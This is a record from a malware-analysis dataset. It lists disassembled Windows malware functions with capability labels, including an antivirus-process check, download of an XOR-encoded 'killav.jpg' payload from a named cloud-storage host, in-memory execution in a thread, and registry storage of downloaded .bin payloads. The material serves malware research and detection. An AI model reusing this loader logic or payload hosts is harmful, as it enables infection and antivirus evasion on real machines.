joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002e50
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r11d, dword [0x14001e9c0]
xor ebx, ebx
lea r10, [0x14001fff0]
mov r9d, ebx
mov r8d, ebx
lea rdi, str.kill6868
nop word [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
cdq
add cl, 0x4f
xor byte [r10], cl
idiv r11d
test edx, edx
cmove r8, rbx
inc r9d
inc r10
cmp r9d, 0x174930
jl 0x140002e80
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140002f30
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002fc2
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x12c
call fcn.1400086a0
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002fb9
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002fa3
inc rax
test ecx, ecx
jne 0x140002f90
mov rcx, rbx
test edx, edx
je 0x140002fd5
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002f80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x160]
mov eax, 1
add rsp, 0x150
pop rdi
ret
Function at 0x140003000
Capabilities:
Contain obfuscated stackstrings
Create directory
Create thread
Download url
Read file on windows
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rcx, str.360Tray.exe
call fcn.140002f30
test eax, eax
jne 0x14000312b
lea rcx, str.360tray.exe
call fcn.140002f30
test eax, eax
jne 0x14000312b
lea rcx, str.C:ProgramDatapowu
xor edx, edx
mov qword [rsp + 0x60], rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r8, [rbp - 0x20]
lea rdx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_killav.jpg
xor r9d, r9d
xor ecx, ecx
mov dword [rbp - 0x20], 0x5c5c3a43
mov dword [rbp - 0x1c], 0x676f7250
mov dword [rbp - 0x18], 0x446d6172
mov dword [rbp - 0x14], 0x5c617461
mov dword [rbp - 0x10], 0x776f705c
mov dword [rbp - 0xc], 0x615c5c75
mov dword [rbp - 8], 0x706a2e76
mov word [rbp - 4], 0x67
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [0x140018f30]
lea rcx, str.C:_ProgramData_powu_av.jpg
call fcn.1400062e4
mov rbx, rax
test rax, rax
je 0x1400030d8
lea rcx, [0x14001fff0]
mov r9, rax
mov edx, 1
mov r8d, 0x174930
call fcn.1400065d8
mov rcx, rbx
call fcn.140006954
lea rcx, str.C:_ProgramData_powu_av.jpg
call fcn.140006118
lea r8, [0x140002ed0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140003126
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400031d0
Capabilities:
Create directory
Get common file path
Get token membership

Disassembly:
push rbx
sub rsp, 0x280
call fcn.140003140
mov ebx, 0x2710
call fcn.140001600
mov rcx, rax
call fcn.140006148
dec rbx
jne 0x1400031e3
lea r8d, [rbx + 0x1c]
lea rdx, [rsp + 0x170]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call fcn.140001600
lea r8, [rsp + 0x170]
lea rdx, str._s_s
lea rcx, [rsp + 0x60]
mov r9, rax
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rsp + 0x2a0]
lea r8d, [rbx + 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x298]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x298], ebx
mov word [rsp + 0x29c], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400032c8
mov rdx, qword [rsp + 0x2a0]
lea r8, [rsp + 0x290]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x290]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x290], ecx
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x290], 1
jne 0x1400032d7
call fcn.140003000
call fcn.140002620
lea rcx, [rsp + 0x60]
call fcn.140001a10
xor ecx, ecx
call fcn.140006d1c
int3
Function at 0x140004f60
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x50
mov rbx, rcx
mov ecx, 0x1000
call fcn.140005a08
lea rcx, str.RookIE_1.0
xor r12d, r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rdi, rax
mov dword [rsp + 0x78], 1
mov dword [rsp + 0x20], r12d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x1400014b5
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x1400014a7
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x80]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000149e
mov ebx, r12d
cmp dword [rsp + 0x78], ebx
jbe 0x140001490
nop word [rax + rax]
mov r8d, 0x1000
mov edx, ebx
lea r9, [rsp + 0x78]
sub r8d, ebx
add rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r11d, dword [rsp + 0x78]
test r11d, r11d
je 0x140001465
add ebx, r11d
cmp ebx, 0x1000
jne 0x140001460
mov rcx, qword [rsp + 0x80]
lea rdx, str.qweasd123zxc
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r11d, dword [rsp + 0x78]
mov ebx, r12d
test r11d, r11d
jne 0x140001400
test ebx, ebx
je 0x140001490
mov rcx, qword [rsp + 0x80]
lea rdx, str.qweasd123zxc
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.1400062f0
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r12
pop rdi
pop rbp
ret
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_2086_64.bin
jmp 0x140001320

Function at 0x140004ff0
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_2619_64.bin
jmp 0x140001320

Function at 0x140005080
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_1810_64.bin
jmp 0x140001320

Function at 0x140005140
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_2169_64.bin
jmp 0x140001320

Function at 0x1400051d0
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_5266_64.bin
jmp 0x140001320
Function at 0x140005260
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_3222_64.bin
jmp 0x140001320

Function at 0x1400052f0
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_7120_64.bin
jmp 0x140001320

Function at 0x140005380
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_3155_64.bin
jmp 0x140001320

Function at 0x140005410
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_7765_64.bin
jmp 0x140001320

Function at 0x1400054b0
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_7118_64.bin
jmp 0x140001320

Function at 0x140005540
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_9226_64.bin
jmp 0x140001320

Function at 0x140005590
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r9, rcx
lea r10, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r10]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x1400055a0
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
nop word [rax + rax]
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x1400055f0
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
mov dword [r9], r11d
ret
Function at 0x140005670
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r10, [rcx + 0x638]
mov r11d, 0x68
nop dword [rax]
mov r8d, dword [r10 - 0x630]
mov r9d, dword [r10 - 0x62c]
mov edx, dword [r10 - 0x634]
xor edx, r8d
btr edx, 0x1f
xor edx, dword [r10 - 0x634]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
mov edx, r9d
xor ecx, dword [r10]
xor edx, r8d
btr edx, 0x1f
mov dword [r10 + 0x38c], ecx
xor edx, r8d
mov r8d, dword [r10 - 0x628]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 4]
xor ecx, edx
mov edx, r8d
xor edx, r9d
mov dword [r10 + 0x390], ecx
btr edx, 0x1f
xor edx, r9d
mov r9d, dword [r10 - 0x624]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 8]
xor ecx, edx
mov edx, r9d
xor edx, r8d
mov dword [r10 + 0x394], ecx
btr edx, 0x1f
xor edx, r8d
mov r8d, dword [r10 - 0x620]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0xc]
xor ecx, edx
mov edx, r8d
xor edx, r9d
mov dword [r10 + 0x398], ecx
btr edx, 0x1f
xor edx, r9d
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x10]
xor ecx, edx
mov edx, dword [r10 - 0x61c]
xor edx, r8d
mov dword [r10 + 0x39c], ecx
btr edx, 0x1f
xor edx, r8d
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x14]
shr edx, 1
xor ecx, edx
add r10, 0x18
dec r11
mov dword [r10 + 0x388], ecx
jne 0x140005680
repz ret

Function at 0x140006118
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14000612e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140006130
xor eax, eax
test eax, eax
je 0x140006140
mov ecx, eax
call fcn.1400072f0
or eax, 0xffffffff
jmp 0x140006142
xor eax, eax
add rsp, 0x28
ret

Function at 0x140006d1c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140006b8c
Function at 0x14000bf38
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001d620]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000ade8
xor ebx, ebx
cmp qword [0x14001f9a8], rbx
mov rdi, rax
jne 0x14000c04b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000c122
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000c122
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14001f9a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14001f9b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14001f9b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14001f9c8], rax
test rax, rax
je 0x14000c042
lea rdx, [0x140017240]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14001f9c0], rax
jmp 0x14000c052
mov rax, qword [0x14001f9c0]
jmp 0x14000c059
mov rax, qword [0x14001f9c0]
mov r11, qword [0x14001f9c8]
cmp rax, rdi
je 0x14000c0c0
cmp r11, rdi
je 0x14000c0c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14001f9c8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000c0c0
test rax, rax
je 0x14000c0c0
call rsi
test rax, rax
je 0x14000c0ba
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000c0ba
test byte [rsp + 0x40], 1
jne 0x14000c0c0
bts ebp, 0x15
jmp 0x14000c100
mov rcx, qword [0x14001f9b0]
cmp rcx, rdi
je 0x14000c100
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c100
call rax
mov rbx, rax
test rax, rax
je 0x14000c100
mov rcx, qword [0x14001f9b8]
cmp rcx, rdi
je 0x14000c100
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c100
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14001f9a8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c122
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000c124
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000c370
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000eb77
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001d620]
jne 0x14000c38a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000c386
repz ret
ror rcx, 0x10
jmp 0x14000ead0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001fb10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001fc08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000eb55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001fb10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000eb77
mov rax, qword [rsp + 0x88]
mov qword [0x14001fc08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001fba8], rax
mov rax, qword [0x14001fc08]
mov qword [0x14001fa80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001fb90], rax
mov dword [0x14001fa70], 0xc0000409
mov dword [0x14001fa74], 1
mov rax, qword [0x14001d620]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001d628]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001fb08], eax
mov ecx, 1
call fcn.14000d578
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140018008]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001fb08], 0
jne 0x14000ebfe
mov ecx, 1
call fcn.14000d578
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1407ac0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407ac237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407ac0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407ac0c7
add dl, dl
jne 0x1407ac0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407ac14e
xor eax, eax
add dl, dl
jne 0x1407ac0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407ac205
add dl, dl
jne 0x1407ac10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407ac11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407ac128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407ac135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407ac142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407ac0d6
mov eax, 1
add dl, dl
jne 0x1407ac15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407ac16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407ac153
sub eax, ebx
mov ebx, 1
jne 0x1407ac1a4
mov ecx, 1
add dl, dl
jne 0x1407ac186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407ac193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407ac17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407ac0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407ac1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407ac1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407ac1b5
cmp eax, 0x7d00
jae 0x1407ac1f3
cmp eax, 0x500
jb 0x1407ac1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407ac0d6
cmp eax, 0x7f
ja 0x1407ac1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407ac0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407ac22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407ac0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x40a7e0
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x38], edx
inc ecx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
cmp byte [rax], 0
je 0x40db98
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x40a7e0

Function at 0x40a830
Capabilities:
Get socket status

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
mov r12, rcx
mov rcx, r8
mov rdi, r8
mov rbp, rdx
call sub.msvcrt.dll_strlen
lea ebx, [rax + 1]
cdqe
mov byte [rdi + rax], 0xa
test ebx, ebx
jle 0x40a8d1
xor esi, esi
lea r14, [rsp + 0x40]
lea r13, [rsp + 0x38]
lea r15, [rsp + 0x34]
nop word [rax + rax]
mov rcx, qword [rbp]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x48], rcx
xor r9d, r9d
inc ecx
xor edx, edx
mov r8, r14
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x40a8e5
mov rcx, qword [r12]
lea rdx, [rdi + rsi]
mov r9, r15
movsxd r8, ebx
call qword [sym.imp.libcurl_4.dll_curl_easy_send]
test eax, eax
jne 0x40a8e0
movsxd rdx, dword [rsp + 0x34]
sub ebx, edx
add rsi, rdx
test ebx, ebx
jg 0x40a878
mov eax, 1
jmp 0x40a8e7
cmp eax, 0x51
je 0x40a878
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x40c0f0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x148
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov rbx, rcx
mov qword [rsp + 0x20], 0
mov r13, rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.libcurl_4.dll_curl_easy_init]
mov r12, rax
test rax, rax
je 0x40c430
mov r8, rbx
mov rbx, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
mov edx, 0x2712
mov rcx, rax
call rbx
mov r8d, 1
mov edx, 0x4a
mov rcx, r12
call rbx
lea rsi, [rsp + 0x40]
mov r8d, 0xf
mov edx, 0x4e
mov rcx, r12
call rbx
mov r8, rsi
mov edx, 0x271a
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x63
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x79
mov rcx, r12
call rbx
lea r8, [0x0040a710]
mov edx, 0x4e2b
mov rcx, r12
call rbx
lea r8, [rsp + 0x20]
mov edx, 0x2711
mov rcx, r12
call rbx
mov rax, qword [0x00785710]
mov r8, qword [rax]
test r8, r8
je 0x40c3c0
mov edx, 0x2714
mov rcx, r12
call rbx
mov rax, qword [0x00785720]
mov edx, 0x65
mov r8d, dword [rax]
mov rcx, r12
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
jne 0x40c410
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x40c37b
cmp qword [rsp + 0x28], 0
jne 0x40c3b0
lea rdx, str.Empty_data_received_for_config
mov ecx, 1
call fcn.0040a900
xor r13d, r13d
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
mov rax, r13
add rsp, 0x148
pop rbx
pop rsi
pop r12
pop r13
ret
mov r8, r13
xor edx, edx
call fcn.006e8880
mov r13, rax
jmp 0x40c38f
lea rcx, str.http_proxy
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c358
lea rcx, str.all_proxy
call sub.msvcrt.dll_getenv
lea rcx, str.all_proxy
test rax, rax
je 0x40c450
call sub.msvcrt.dll_getenv
mov r8, rax
mov rcx, r12
mov edx, 0x2714
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
je 0x40c369
nop dword [rax]
mov r8, rsi
lea rdx, str.Remote_config_read_failed:__s
mov ecx, 1
call fcn.0040a900
xor r13d, r13d
jmp 0x40c38f
lea rdx, str.Remote_config_init_failed_
mov ecx, 1
call fcn.0040a900
xor r13d, r13d
jmp 0x40c398
lea rcx, str.ALL_PROXY
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c470
lea rcx, str.ALL_PROXY
jmp 0x40c3e9
lea r8, [0x00728c03]
mov edx, 0x2714
mov rcx, r12
call rbx
jmp 0x40c358
Function at 0x40db80
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x38], edx
inc ecx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
